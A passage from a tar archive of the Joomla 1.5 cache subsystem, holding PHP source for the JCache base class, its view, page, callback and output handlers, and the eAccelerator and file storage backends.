			$options['language'] = 'en-GB';
		}

		if(isset($options['cachebase'])) {
			$this->_options['cachebase'] = $options['cachebase'];
		} else {
			$this->_options['cachebase'] = JPATH_ROOT.DS.'cache';
		}

		if(isset($options['defaultgroup'])) {
			$this->_options['defaultgroup'] = $options['defaultgroup'];
		} else {
			$this->_options['defaultgroup'] = 'default';
		}

		if(isset($options['caching'])) {
			$this->_options['caching'] =  $options['caching'];
		} else {
			$this->_options['caching'] = true;
		}

		if( isset($options['storage'])) {
			$this->_options['storage'] = $options['storage'];
		} else {
			$this->_options['storage'] = 'file';
		}

		//Fix to detect if template positions are enabled...
		if(JRequest::getCMD('tpl',0)) {
			$this->_options['caching'] = false;
		}
	}

	/**
	 * Returns a reference to a cache adapter object, always creating it
	 *
	 * @static
	 * @param	string	$type	The cache object type to instantiate
	 * @return	object	A JCache object
	 * @since	1.5
	 */
	function &getInstance($type = 'output', $options = array())
	{
		$type = strtolower(preg_replace('/[^A-Z0-9_\.-]/i', '', $type));

		$class = 'JCache'.ucfirst($type);

		if(!class_exists($class))
		{
			$path = dirname(__FILE__).DS.'handler'.DS.$type.'.php';

			if (file_exists($path)) {
				require_once($path);
			} else {
				JError::raiseError(500, 'Unable to load Cache Handler: '.$type);
			}
		}

		$instance = new $class($options);

		return $instance;
	}

	/**
	 * Get the storage handlers
	 *
	 * @access public
	 * @return array An array of available storage handlers
	 */
	function getStores()
	{
		jimport('joomla.filesystem.folder');
		$handlers = JFolder::files(dirname(__FILE__).DS.'storage', '.php$');

		$names = array();
		foreach($handlers as $handler)
		{
			$name = substr($handler, 0, strrpos($handler, '.'));
			$class = 'JCacheStorage'.$name;

			if(!class_exists($class)) {
				require_once(dirname(__FILE__).DS.'storage'.DS.$name.'.php');
			}

			if(call_user_func_array( array( trim($class), 'test' ), array())) {
				$names[] = $name;
			}
		}

		return $names;
	}

	/**
	 * Set caching enabled state
	 *
	 * @access	public
	 * @param	boolean	$enabled	True to enable caching
	 * @return	void
	 * @since	1.5
	 */
	function setCaching($enabled)
	{
		$this->_options['caching'] = $enabled;
	}

	/**
	 * Set cache lifetime
	 *
	 * @access	public
	 * @param	int	$lt	Cache lifetime
	 * @return	void
	 * @since	1.5
	 */
	function setLifeTime($lt)
	{
		$this->_options['lifetime'] = $lt;
	}

	/**
	 * Set cache validation
	 *
	 * @access	public
	 * @return	void
	 * @since	1.5
	 */
	function setCacheValidation()
	{
		// Deprecated
	}

	/**
	 * Get cached data by id and group
	 *
	 * @abstract
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	mixed	Boolean false on failure or a cached data string
	 * @since	1.5
	 */
	function get($id, $group=null)
	{
		// Get the default group
		$group = ($group) ? $group : $this->_options['defaultgroup'];

		// Get the storage handler
		$handler =& $this->_getStorage();
		if (!JError::isError($handler) && $this->_options['caching']) {
			return $handler->get($id, $group, (isset($this->_options['checkTime']))? $this->_options['checkTime'] : true);
		}
		return false;
	}

	/**
	 * Store the cached data by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @param	mixed	$data	The data to store
	 * @return	boolean	True if cache stored
	 * @since	1.5
	 */
	function store($data, $id, $group=null)
	{
		// Get the default group
		$group = ($group) ? $group : $this->_options['defaultgroup'];

		// Get the storage handler and store the cached data
		$handler =& $this->_getStorage();
		if (!JError::isError($handler) && $this->_options['caching']) {
			return $handler->store($id, $group, $data);
		}
		return false;
	}

	/**
	 * Remove a cached data entry by id and group
	 *
	 * @abstract
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function remove($id, $group=null)
	{
		// Get the default group
		$group = ($group) ? $group : $this->_options['defaultgroup'];

		// Get the storage handler
		$handler =& $this->_getStorage();
		if (!JError::isError($handler)) {
			return $handler->remove($id, $group);
		}
		return false;
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode		: cleans all cache in the group
	 * notgroup mode	: cleans all cache not in the group
	 *
	 * @access	public
	 * @param	string	$group	The cache data group
	 * @param	string	$mode	The mode for cleaning cache [group|notgroup]
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function clean($group=null, $mode='group')
	{
		// Get the default group
		$group = ($group) ? $group : $this->_options['defaultgroup'];

		// Get the storage handler
		$handler =& $this->_getStorage();
		if (!JError::isError($handler)) {
			return $handler->clean($group, $mode);
		}
		return false;
	}

	/**
	 * Garbage collect expired cache data
	 *
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 * @since	1.5
	 */
	function gc()
	{
		// Get the storage handler
		$handler =& $this->_getStorage();
		if (!JError::isError($handler)) {
			return $handler->gc();
		}
		return false;
	}

	/**
	 * Get the cache storage handler
	 *
	 * @access protected
	 * @return object A JCacheStorage object
	 * @since	1.5
	 */
	function &_getStorage()
	{
		if (is_a($this->_handler, 'JCacheStorage')) {
			return $this->_handler;
		}

		$this->_handler =& JCacheStorage::getInstance($this->_options['storage'], $this->_options);
		return $this->_handler;
	}
}
cms/joomla/cache1/storage/000755 000000 000000 00000000000 11663435474 016025 5ustar00rootwheel000000 000000 cms/joomla/cache1/storage.php000644 000000 000000 00000010617 11663435435 016540 0ustar00rootwheel000000 000000 <?php
/**
* @version		$Id:storage.php 6961 2007-03-15 16:06:53Z tcp $
* @package		Joomla.Framework
* @subpackage	Cache
* @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * Abstract cache storage handler
 *
 * @abstract
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCacheStorage extends JObject
{
	/**
	* Constructor
	*
	* @access protected
	* @param array $options optional parameters
	*/
	function __construct( $options = array() )
	{
		$this->_application	= (isset($options['application'])) ? $options['application'] : null;
		$this->_language	= (isset($options['language'])) ? $options['language'] : 'en-GB';
		$this->_locking		= (isset($options['locking'])) ? $options['locking'] : true;
		$this->_lifetime	= (isset($options['lifetime'])) ? $options['lifetime'] : null;
		$this->_now		= (isset($options['now'])) ? $options['now'] : time();

		// Set time threshold value.  If the lifetime is not set, default to 60 (0 is BAD)
		// _threshold is now available ONLY as a legacy (it's deprecated).  It's no longer used in the core.
		if (empty($this->_lifetime)) {
			$this->_threshold = $this->_now - 60;
			$this->_lifetime = 60;
		} else {
			$this->_threshold = $this->_now - $this->_lifetime;
		}
	}

	/**
	 * Returns a reference to a cache storage hanlder object, only creating it
	 * if it doesn't already exist.
	 *
	 * @static
	 * @param	string	$handler	The cache storage handler to instantiate
	 * @return	object	A JCacheStorageHandler object
	 * @since	1.5
	 */
	function &getInstance($handler = 'file', $options = array())
	{
		static $now = null;
		if(is_null($now)) {
			$now = time();
		}
		$options['now'] = $now;
		//We can't cache this since options may change...
		$handler = strtolower(preg_replace('/[^A-Z0-9_\.-]/i', '', $handler));
		$class   = 'JCacheStorage'.ucfirst($handler);
		if(!class_exists($class))
		{
			$path = dirname(__FILE__).DS.'storage'.DS.$handler.'.php';
			if (file_exists($path) ) {
				require_once($path);
			} else {
				return JError::raiseWarning(500, 'Unable to load Cache Storage: '.$handler);
			}
		}
		$return = new $class($options);
		return $return;
	}

	/**
	 * Get cached data by id and group
	 *
	 * @abstract
	 * @access	public
	 * @param	string	$id			The cache data id
	 * @param	string	$group		The cache data group
	 * @param	boolean	$checkTime	True to verify cache time expiration threshold
	 * @return	mixed	Boolean false on failure or a cached data string
	 * @since	1.5
	 */
	function get($id, $group, $checkTime)
	{
		return;
	}

	/**
	 * Store the data to cache by id and group
	 *
	 * @abstract
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @param	string	$data	The data to store in cache
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function store($id, $group, $data)
	{
		return true;
	}

	/**
	 * Remove a cached data entry by id and group
	 *
	 * @abstract
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function remove($id, $group)
	{
		return true;
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode		: cleans all cache in the group
	 * notgroup mode	: cleans all cache not in the group
	 *
	 * @abstract
	 * @access	public
	 * @param	string	$group	The cache data group
	 * @param	string	$mode	The mode for cleaning cache [group|notgroup]
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function clean($group, $mode)
	{
		return true;
	}

	/**
	 * Garbage collect expired cache data
	 *
	 * @abstract
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function gc()
	{
		return true;
	}

	/**
	 * Test to see if the storage handler is available.
	 *
	 * @abstract
	 * @static
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function test()
	{
		return true;
	}
}
cms/joomla/cache1/handler/000755 000000 000000 00000000000 11663435473 015775 5ustar00rootwheel000000 000000 cms/joomla/cache1/index.html000644 000000 000000 00000000054 11663435434 016351 0ustar00rootwheel000000 000000 <html><body bgcolor="#FFFFFF"></body></html>cms/joomla/cache1/handler/view.php000644 000000 000000 00000010461 11663435473 017462 0ustar00rootwheel000000 000000 <?php
/**
* @version		$Id: view.php 14401 2010-01-26 14:10:00Z louis $
* @package		Joomla.Framework
* @subpackage	Cache
* @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * Joomla! Cache view type object
 *
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCacheView extends JCache
{
	/**
	 * Get the cached view data
	 *
	 * @access	public
	 * @param	object	$view	The view object to cache output for
	 * @param	string	$method	The method name of the view method to cache output for
	 * @param	string	$group	The cache data group
	 * @param	string	$id		The cache data id
	 * @return	boolean	True if the cache is hit (false else)
	 * @since	1.5
	 */
	function get( &$view, $method, $id=false )
	{
		global $mainframe;

		// Initialize variables
		$data = false;

		// If an id is not given generate it from the request
		if ($id == false) {
			$id = $this->_makeId($view, $method);
		}

		$data = parent::get($id);
		if ($data !== false) {
			$data		= unserialize($data);
			$document	= &JFactory::getDocument();

			// Get the document head out of the cache.
			$document->setHeadData((isset($data['head'])) ? $data['head'] : array());

			// If the pathway buffer is set in the cache data, get it.
			if (isset($data['pathway']) && is_array($data['pathway']))
			{
				// Push the pathway data into the pathway object.
				$pathway = &$mainframe->getPathWay();
				$pathway->setPathway($data['pathway']);
			}

			// If a module buffer is set in the cache data, get it.
			if (isset($data['module']) && is_array($data['module']))
			{
				// Iterate through the module positions and push them into the document buffer.
				foreach ($data['module'] as $name => $contents) {
					$document->setBuffer($contents, 'module', $name);
				}
			}

			// Get the document body out of the cache.
			echo (isset($data['body'])) ? $data['body'] : null;
			return true;
		}

		/*
		 * No hit so we have to execute the view
		 */
		if (method_exists($view, $method))
		{
			$document = &JFactory::getDocument();

			// Get the modules buffer before component execution.
			$buffer1 = $document->getBuffer();

			// Make sure the module buffer is an array.
			if (!isset($buffer1['module']) || !is_array($buffer1['module'])) {
				$buffer1['module'] = array();
			}

			// Capture and echo output
			ob_start();
			ob_implicit_flush( false );
			$view->$method();
			$data = ob_get_contents();
			ob_end_clean();
			echo $data;

			/*
			 * For a view we have a special case.  We need to cache not only the output from the view, but the state
			 * of the document head after the view has been rendered.  This will allow us to properly cache any attached
			 * scripts or stylesheets or links or any other modifications that the view has made to the document object
			 */
			$cached = array();

			// View body data
			$cached['body'] = $data;

			// Document head data
			$cached['head'] = $document->getHeadData();

			// Pathway data
			$pathway			= &$mainframe->getPathWay();
			$cached['pathway']	= $pathway->getPathway();

			// Get the module buffer after component execution.
			$buffer2 = $document->getBuffer();

			// Make sure the module buffer is an array.
			if (!isset($buffer2['module']) || !is_array($buffer2['module'])) {
				$buffer2['module'] = array();
			}

			// Compare the second module buffer against the first buffer.
			$cached['module'] = array_diff_assoc($buffer2['module'], $buffer1['module']);

			// Store the cache data
			$this->store(serialize($cached), $id);
		}
		return false;
	}

	/**
	 * Generate a view cache id
	 *
	 * @access	private
	 * @param	object	$view	The view object to cache output for
	 * @param	string	$method	The method name to cache for the view object
	 * @return	string	MD5 Hash : view cache id
	 * @since	1.5
	 */
	function _makeId(&$view, $method)
	{
		return md5(serialize(array(JRequest::getURI(), get_class($view), $method)));
	}
}
cms/joomla/cache1/handler/page.php000644 000000 000000 00000006260 11663435472 017425 0ustar00rootwheel000000 000000 <?php
/**
* @version		$Id: page.php 14401 2010-01-26 14:10:00Z louis $
* @package		Joomla.Framework
* @subpackage	Cache
* @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * Joomla! Cache page type object
 *
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCachePage extends JCache
{
	/**
	 * Get the cached page data
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	boolean	True if the cache is hit (false else)
	 * @since	1.5
	 */
	function get( $id=false, $group='page' )
	{
		// Initialize variables
		$data = false;

		// If an id is not given generate it from the request
		if ($id == false) {
			$id = $this->_makeId();
		}


		// If the etag matches the page id ... sent a no change header and exit : utilize browser cache
		if ( !headers_sent() && isset($_SERVER['HTTP_IF_NONE_MATCH']) ){
			$etag = stripslashes($_SERVER['HTTP_IF_NONE_MATCH']);
			if( $etag == $id) {
				$browserCache = isset($this->_options['browsercache']) ? $this->_options['browsercache'] : false;
				if ($browserCache) {
					$this->_noChange();
				}
			}
		}

		// We got a cache hit... set the etag header and echo the page data
		$data = parent::get($id, $group);
		if ($data !== false) {
			$this->_setEtag($id);
			return $data;
		}

		// Set id and group placeholders
		$this->_id		= $id;
		$this->_group	= $group;
		return false;
	}

	/**
	 * Stop the cache buffer and store the cached data
	 *
	 * @access	public
	 * @return	boolean	True if cache stored
	 * @since	1.5
	 */
	function store()
	{
		// Get page data from JResponse body
		$data = JResponse::getBody();

		// Get id and group and reset them placeholders
		$id		= $this->_id;
		$group	= $this->_group;
		$this->_id		= null;
		$this->_group	= null;

		// Only attempt to store if page data exists
		if ($data) {
			return parent::store($data, $id, $group);
		}
		return false;
	}

	/**
	 * Generate a page cache id
	 * @todo	Discuss whether this should be coupled to a data hash or a request hash ... perhaps hashed with a serialized request
	 *
	 * @access	private
	 * @return	string	MD5 Hash : page cache id
	 * @since	1.5
	 */
	function _makeId()
	{
		return md5(JRequest::getURI());
	}

	/**
	 * There is no change in page data so send a not modified header and die gracefully
	 *
	 * @access	private
	 * @return	void
	 * @since	1.5
	 */
	function _noChange()
	{
		global $mainframe;

		// Send not modified header and exit gracefully
		header( 'HTTP/1.x 304 Not Modified', true );
		$mainframe->close();
	}

	/**
	 * Set the ETag header in the response
	 *
	 * @access	private
	 * @return	void
	 * @since	1.5
	 */
	function _setEtag($etag)
	{
		JResponse::setHeader( 'ETag', $etag, true );
	}
}
cms/joomla/cache1/handler/index.html000644 000000 000000 00000000054 11663435472 017770 0ustar00rootwheel000000 000000 <html><body bgcolor="#FFFFFF"></body></html>cms/joomla/cache1/handler/callback.php000644 000000 000000 00000010061 11663435472 020237 0ustar00rootwheel000000 000000 <?php
/**
* @version		$Id: callback.php 14401 2010-01-26 14:10:00Z louis $
* @package		Joomla.Framework
* @subpackage	Cache
* @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * Joomla! Cache callback type object
 *
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCacheCallback extends JCache
{
	/**
	 * Executes a cacheable callback if not found in cache else returns cached output and result
	 *
	 * Since arguments to this function are read with func_get_args you can pass any number of arguments to this method
	 * as long as the first argument passed is the callback definition.
	 *
	 * The callback definition can be in several forms:
	 * 	- Standard PHP Callback array <http://php.net/callback> [recommended]
	 * 	- Function name as a string eg. 'foo' for function foo()
	 * 	- Static method name as a string eg. 'MyClass::myMethod' for method myMethod() of class MyClass
	 *
	 * @access	public
	 * @return	mixed	Result of the callback
	 * @since	1.5
	 */
	function call()
	{
		// Get callback and arguments
		$args		= func_get_args();
		$callback	= array_shift($args);

		return $this->get( $callback, $args );
	}

	/**
	 * Executes a cacheable callback if not found in cache else returns cached output and result
	 *
	 * @access	public
	 * @param	mixed	Callback or string shorthand for a callback
	 * @param	array	Callback arguments
	 * @return	mixed	Result of the callback
	 * @since	1.5
	 */
	function get( $callback, $args, $id=false )
	{
		// Normalize callback
		if (is_array( $callback )) {
			// We have a standard php callback array -- do nothing
		} elseif (strstr( $callback, '::' )) {
			// This is shorthand for a static method callback classname::methodname
			list( $class, $method ) = explode( '::', $callback );
			$callback = array( trim($class), trim($method) );
		} elseif (strstr( $callback, '->' )) {
			/*
			 * This is a really not so smart way of doing this... we provide this for backward compatability but this
			 * WILL!!! disappear in a future version.  If you are using this syntax change your code to use the standard
			 * PHP callback array syntax: <http://php.net/callback>
			 *
			 * We have to use some silly global notation to pull it off and this is very unreliable
			 */
			list( $object_123456789, $method ) = explode('->', $callback);
			global $$object_123456789;
			$callback = array( $$object_123456789, $method );
		} else {
			// We have just a standard function -- do nothing
		}

		if (!$id) {
			// Generate an ID
			$id = $this->_makeId($callback, $args);
		}

		// Get the storage handler and get callback cache data by id and group
		$data = parent::get($id);
		if ($data !== false) {
			$cached = unserialize( $data );
			$output = $cached['output'];
			$result = $cached['result'];
		} else {
			ob_start();
			ob_implicit_flush( false );

			$result = call_user_func_array($callback, $args);
			$output = ob_get_contents();

			ob_end_clean();

			$cached = array();
			$cached['output'] = $output;
			$cached['result'] = $result;
			// Store the cache data
			$this->store(serialize($cached), $id);
		}

		echo $output;
		return $result;
	}

	/**
	 * Generate a callback cache id
	 *
	 * @access	private
	 * @param	callback	$callback	Callback to cache
	 * @param	array		$args	Arguments to the callback method to cache
	 * @return	string	MD5 Hash : function cache id
	 * @since	1.5
	 */
	function _makeId($callback, $args)
	{
		if(is_array($callback) && is_object($callback[0])) {
			$vars = get_object_vars($callback[0]);
			$vars[] = strtolower(get_class($callback[0]));
			$callback[0] = $vars;
		}
		return md5(serialize(array($callback, $args)));
	}
}
cms/joomla/cache1/handler/output.php000644 000000 000000 00000003655 11663435472 020056 0ustar00rootwheel000000 000000 <?php
/**
* @version		$Id: output.php 14401 2010-01-26 14:10:00Z louis $
* @package		Joomla.Framework
* @subpackage	Cache
* @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license		GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * Joomla! Cache output type object
 *
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCacheOutput extends JCache
{
	/**
	 * Start the cache
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	boolean	True if the cache is hit (false else)
	 * @since	1.5
	 */
	function start( $id, $group=null)
	{
		// If we have data in cache use that...
		$data = $this->get($id, $group);
		if ($data !== false) {
			echo $data;
			return true;
		} else {
			// Nothing in cache... lets start the output buffer and start collecting data for next time.
			ob_start();
			ob_implicit_flush( false );
			// Set id and group placeholders
			$this->_id		= $id;
			$this->_group	= $group;
			return false;
		}
	}

	/**
	 * Stop the cache buffer and store the cached data
	 *
	 * @access	public
	 * @return	boolean	True if cache stored
	 * @since	1.5
	 */
	function end()
	{
		// Get data from output buffer and echo it
		$data = ob_get_contents();
		ob_end_clean();
		echo $data;

		// Get id and group and reset them placeholders
		$id		= $this->_id;
		$group	= $this->_group;
		$this->_id		= null;
		$this->_group	= null;

		// Get the storage handler and store the cached data
		$this->store($data, $id, $group);
	}
}
cms/joomla/cache1/storage/eaccelerator.php000644 000000 000000 00000010341 11663435473 021165 0ustar00rootwheel000000 000000 <?php
/**
 * @version		$Id: eaccelerator.php 14401 2010-01-26 14:10:00Z louis $
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license		GNU/GPL, see LICENSE.php
 * Joomla! is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * eAccelerator cache storage handler
 *
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCacheStorageEaccelerator extends JCacheStorage
{
	/**
	* Constructor
	*
	* @access protected
	* @param array $options optional parameters
	*/
	function __construct( $options = array() )
	{
		parent::__construct($options);

		$config			=& JFactory::getConfig();
		$this->_hash	= $config->getValue('config.secret');
	}

	/**
	 * Get cached data by id and group
	 *
	 * @access	public
	 * @param	string	$id			The cache data id
	 * @param	string	$group		The cache data group
	 * @param	boolean	$checkTime	True to verify cache time expiration threshold
	 * @return	mixed	Boolean false on failure or a cached data string
	 * @since	1.5
	 */
	function get($id, $group, $checkTime)
	{
		$cache_id = $this->_getCacheId($id, $group);
		$this->_setExpire($cache_id);
		$cache_content = eaccelerator_get($cache_id);
		if($cache_content === null)
		{
			return false;
		}
		return $cache_content;
	}

	/**
	 * Store the data to by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @param	string	$data	The data to store in cache
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function store($id, $group, $data)
	{
		$cache_id = $this->_getCacheId($id, $group);
		eaccelerator_put($cache_id.'_expire', time());
		return eaccelerator_put($cache_id, $data, $this->_lifetime);
	}

	/**
	 * Remove a cached data entry by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function remove($id, $group)
	{
		$cache_id = $this->_getCacheId($id, $group);
		eaccelerator_rm($cache_id.'_expire');
		return eaccelerator_rm($cache_id);
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode		: cleans all cache in the group
	 * notgroup mode	: cleans all cache not in the group
	 *
	 * @access	public
	 * @param	string	$group	The cache data group
	 * @param	string	$mode	The mode for cleaning cache [group|notgroup]
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function clean($group, $mode)
	{
		return true;
	}

	/**
	 * Garbage collect expired cache data
	 *
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function gc()
	{
		return eaccelerator_gc();
	}

	/**
	 * Test to see if the cache storage is available.
	 *
	 * @static
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function test()
	{
		return (extension_loaded('eaccelerator') && function_exists('eaccelerator_get'));
	}

	/**
	 * Set expire time on each call since memcache sets it on cache creation.
	 *
	 * @access private
	 *
	 * @param string  $key   Cache key to expire.
	 * @param integer $lifetime  Lifetime of the data in seconds.
	 */
	function _setExpire($key)
	{
		$lifetime	= $this->_lifetime;
		$expire		= eaccelerator_get($key.'_expire');

		// set prune period
		if ($expire + $lifetime < time()) {
			eaccelerator_rm($key);
			eaccelerator_rm($key.'_expire');
		} else {
			eaccelerator_put($key.'_expire',  time());
		}
	}

	/**
	 * Get a cache_id string from an id/group pair
	 *
	 * @access	private
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	string	The cache_id string
	 * @since	1.5
	 */
	function _getCacheId($id, $group)
	{
		$name	= md5($this->_application.'-'.$id.'-'.$this->_hash.'-'.$this->_language);
		return 'cache_'.$group.'-'.$name;
	}
}
cms/joomla/cache1/storage/file.php000644 000000 000000 00000014405 11663435473 017460 0ustar00rootwheel000000 000000 <?php
/**
 * @version		$Id: file.php 14401 2010-01-26 14:10:00Z louis $
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @copyright	Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
 * @license		GNU/GPL, see LICENSE.php
 * Joomla! is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * See COPYRIGHT.php for copyright notices and details.
 */

// Check to ensure this file is within the rest of the framework
defined('JPATH_BASE') or die();

/**
 * File cache storage handler
 *
 * @package		Joomla.Framework
 * @subpackage	Cache
 * @since		1.5
 */
class JCacheStorageFile extends JCacheStorage
{
	/**
	* Constructor
	*
	* @access protected
	* @param array $options optional parameters
	*/
	function __construct( $options = array() )
	{
		parent::__construct($options);

		$config			=& JFactory::getConfig();
		$this->_root	= $options['cachebase'];
		$this->_hash	= $config->getValue('config.secret');
	}

	/**
	 * Get cached data from a file by id and group
	 *
	 * @access	public
	 * @param	string	$id			The cache data id
	 * @param	string	$group		The cache data group
	 * @param	boolean	$checkTime	True to verify cache time expiration threshold
	 * @return	mixed	Boolean false on failure or a cached data string
	 * @since	1.5
	 */
	function get($id, $group, $checkTime)
	{
		$data = false;

		$path = $this->_getFilePath($id, $group);
		$this->_setExpire($id, $group);
		if (file_exists($path)) {
			$data = file_get_contents($path);
			if($data) {
				// Remove the initial die() statement
				$data	= preg_replace('/^.*\n/', '', $data);
			}
		}

		return $data;
	}

	/**
	 * Store the data to a file by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @param	string	$data	The data to store in cache
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function store($id, $group, $data)
	{
		$written	= false;
		$path		= $this->_getFilePath($id, $group);
		$expirePath	= $path . '_expire';
		$die		= '<?php die("Access Denied"); ?>'."\n";

		// Prepend a die string

		$data		= $die.$data;

		$fp = @fopen($path, "wb");
		if ($fp) {
			if ($this->_locking) {
				@flock($fp, LOCK_EX);
			}
			$len = strlen($data);
			@fwrite($fp, $data, $len);
			if ($this->_locking) {
				@flock($fp, LOCK_UN);
			}
			@fclose($fp);
			$written = true;
		}
		// Data integrity check
		if ($written && ($data == file_get_contents($path))) {
			@file_put_contents($expirePath, ($this->_now + $this->_lifetime));
			return true;
		} else {
			return false;
		}
	}

	/**
	 * Remove a cached data file by id and group
	 *
	 * @access	public
	 * @param	string	$id		The cache data id
	 * @param	string	$group	The cache data group
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function remove($id, $group)
	{
		$path = $this->_getFilePath($id, $group);
		@unlink($path.'_expire');
		if (!@unlink($path)) {
			return false;
		}
		return true;
	}

	/**
	 * Clean cache for a group given a mode.
	 *
	 * group mode		: cleans all cache in the group
	 * notgroup mode	: cleans all cache not in the group
	 *
	 * @access	public
	 * @param	string	$group	The cache data group
	 * @param	string	$mode	The mode for cleaning cache [group|notgroup]
	 * @return	boolean	True on success, false otherwise
	 * @since	1.5
	 */
	function clean($group, $mode)
	{
		jimport('joomla.filesystem.folder');

		$return = true;
		$folder	= $group;

		if(trim($folder) == '') {
			$mode = 'notgroup';
		}

		switch ($mode)
		{
			case 'notgroup':
				$folders = JFolder::folders($this->_root);
				for ($i=0,$n=count($folders);$i<$n;$i++)
				{
					if ($folders[$i] != $folder) {
						$return |= JFolder::delete($this->_root.DS.$folders[$i]);
					}
				}
				break;
			case 'group':
			default:
				if (is_dir($this->_root.DS.$folder)) {
					$return = JFolder::delete($this->_root.DS.$folder);
				}
				break;
		}
		return $return;
	}

	/**
	 * Garbage collect expired cache data
	 *
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function gc()
	{	
		jimport('joomla.filesystem.file');
		$result = true;
		// files older than lifeTime get deleted from cache
		$files = JFolder::files($this->_root, '_expire', true, true);
		foreach($files As $file) {
			$time = @file_get_contents($file);
			if ($time < $this->_now) {
				$result |= JFile::delete($file);
				$result |= JFile::delete(str_replace('_expire', '', $file));
			}
		}
		return $result;
	}

	/**
	 * Test to see if the cache storage is available.
	 *
	 * @static
	 * @access public
	 * @return boolean  True on success, false otherwise.
	 */
	function test()
	{
		$config	=& JFactory::getConfig();
		$root	= $config->getValue('config.cache_path', JPATH_ROOT.DS.'cache');
		return is_writable($root);
	}

	/**
	 * Check to make sure cache is still valid, if not, delete it.
	 *
	 * @access private
	 *
	 * @param string  $id   Cache key to expire.
	 * @param string  $group The cache data group.
	 */
	function _setExpire($id, $group)
	{
		$path = $this->_getFilePath($id, $group);

		// set prune period
		if(file_exists($path.'_expire')) {
			$time = @file_get_contents($path.'_expire');
			if ($time < $this->_now || empty($time)) {
				$this->remove($id, $group);
			}
		} elseif(file_exists($path)) {
